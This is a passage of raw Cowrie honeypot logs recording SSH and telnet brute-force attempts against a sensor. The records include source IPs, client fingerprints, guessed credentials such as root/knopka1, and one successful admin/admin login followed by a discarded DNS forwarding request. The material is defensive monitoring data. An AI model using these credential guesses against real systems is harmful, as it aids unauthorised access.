nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:35.416893Z","src_ip":"109.172.54.111","session":"0e1e6de21009","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"44442013vkkv","message":"login attempt [root/44442013vkkv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:35.709467Z","src_ip":"109.172.54.111","session":"0e1e6de21009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:36.812286Z","src_ip":"109.172.54.111","session":"0e1e6de21009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.89339256286621,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:44.296725Z","src_ip":"178.128.93.180","session":"28c74e109114","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":57276,"dst_ip":"10.17.0.5","dst_port":22,"session":"227eda4094d6","protocol":"ssh","message":"New connection: 103.172.78.219:57276 (10.17.0.5:22) [session: 227eda4094d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:48.174360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:48.179312Z","src_ip":"103.172.78.219","session":"227eda4094d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:48.436873Z","src_ip":"103.172.78.219","session":"227eda4094d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.174.224","src_port":39978,"dst_ip":"159.203.135.109","dst_port":22,"session":"189c0eedc4c0","protocol":"ssh","message":"New connection: 43.165.174.224:39978 (159.203.135.109:22) [session: 189c0eedc4c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:48.682102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:48.687514Z","src_ip":"43.165.174.224","session":"189c0eedc4c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:48.866000Z","src_ip":"43.165.174.224","session":"189c0eedc4c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"github-runner","password":"123","message":"login attempt [github-runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:49.612001Z","src_ip":"43.165.174.224","session":"189c0eedc4c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"knopka1","message":"login attempt [root/knopka1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:49.916396Z","src_ip":"103.172.78.219","session":"227eda4094d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:50.793582Z","src_ip":"43.165.174.224","session":"189c0eedc4c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:45:51.175388Z","src_ip":"103.172.78.219","session":"227eda4094d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50888,"dst_ip":"159.203.135.109","dst_port":23,"session":"284c2109adf1","protocol":"telnet","message":"New connection: 69.4.83.194:50888 (159.203.135.109:23) [session: 284c2109adf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:46:00.617644Z"}
{"eventid":"cowrie.session.closed","duration":33.77403450012207,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:46:06.356094Z","src_ip":"69.4.83.194","session":"0eb9c193cc8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":52384,"dst_ip":"10.17.0.5","dst_port":23,"session":"549bf86caec3","protocol":"telnet","message":"New connection: 178.128.93.180:52384 (10.17.0.5:23) [session: 549bf86caec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:46:20.242716Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":60086,"dst_ip":"159.203.135.109","dst_port":23,"session":"86f5631ee823","protocol":"telnet","message":"New connection: 69.4.83.194:60086 (159.203.135.109:23) [session: 86f5631ee823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:46:29.141716Z"}
{"eventid":"cowrie.session.closed","duration":33.229897022247314,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:46:33.847424Z","src_ip":"69.4.83.194","session":"284c2109adf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":33506,"dst_ip":"10.17.0.5","dst_port":22,"session":"d75601f51fdc","protocol":"ssh","message":"New connection: 87.251.64.176:33506 (10.17.0.5:22) [session: d75601f51fdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:46:39.881526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:46:39.887249Z","src_ip":"87.251.64.176","session":"d75601f51fdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:46:40.009715Z","src_ip":"87.251.64.176","session":"d75601f51fdc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:46:40.813364Z","src_ip":"87.251.64.176","session":"d75601f51fdc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:46:40.919029Z","session":"d75601f51fdc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:46:41.037770Z","src_ip":"87.251.64.176","session":"d75601f51fdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:46:41.172868Z","src_ip":"87.251.64.176","session":"d75601f51fdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":37384,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfddcf3a3f92","protocol":"telnet","message":"New connection: 69.4.83.194:37384 (159.203.135.109:23) [session: dfddcf3a3f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:46:42.055943Z"}
{"eventid":"cowrie.session.closed","duration":35.57433605194092,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:04.715973Z","src_ip":"69.4.83.194","session":"86f5631ee823","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.51083183288574,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:19.566564Z","src_ip":"69.4.83.194","session":"dfddcf3a3f92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":54370,"dst_ip":"10.17.0.5","dst_port":22,"session":"eff3e9371e58","protocol":"ssh","message":"New connection: 193.228.128.84:54370 (10.17.0.5:22) [session: eff3e9371e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:29.732332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:29.736958Z","src_ip":"193.228.128.84","session":"eff3e9371e58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:29.839057Z","src_ip":"193.228.128.84","session":"eff3e9371e58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1231231234","message":"login attempt [root/1231231234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:30.147894Z","src_ip":"193.228.128.84","session":"eff3e9371e58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":51022,"dst_ip":"10.17.0.5","dst_port":22,"session":"502aef460131","protocol":"ssh","message":"New connection: 147.45.197.250:51022 (10.17.0.5:22) [session: 502aef460131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:31.013571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:31.019397Z","src_ip":"147.45.197.250","session":"502aef460131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:31.113285Z","src_ip":"147.45.197.250","session":"502aef460131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:31.253301Z","src_ip":"193.228.128.84","session":"eff3e9371e58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"02021990","message":"login attempt [root/02021990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:31.391875Z","src_ip":"147.45.197.250","session":"502aef460131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":72.15042018890381,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:32.393025Z","src_ip":"178.128.93.180","session":"549bf86caec3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:32.488485Z","src_ip":"147.45.197.250","session":"502aef460131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.72.132","src_port":36980,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cbb8e1ac7e6","protocol":"ssh","message":"New connection: 168.167.72.132:36980 (159.203.135.109:22) [session: 2cbb8e1ac7e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:40.346515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:40.356904Z","src_ip":"168.167.72.132","session":"2cbb8e1ac7e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:40.612489Z","src_ip":"168.167.72.132","session":"2cbb8e1ac7e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john@123","message":"login attempt [john/john@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:41.667499Z","src_ip":"168.167.72.132","session":"2cbb8e1ac7e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:42.925996Z","src_ip":"168.167.72.132","session":"2cbb8e1ac7e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":37188,"dst_ip":"159.203.135.109","dst_port":23,"session":"494da5d73ada","protocol":"telnet","message":"New connection: 69.4.83.194:37188 (159.203.135.109:23) [session: 494da5d73ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:47:56.826508Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.174.224","src_port":49558,"dst_ip":"159.203.135.109","dst_port":22,"session":"341dd2596af8","protocol":"ssh","message":"New connection: 43.165.174.224:49558 (159.203.135.109:22) [session: 341dd2596af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:02.708672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:48:02.713358Z","src_ip":"43.165.174.224","session":"341dd2596af8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com",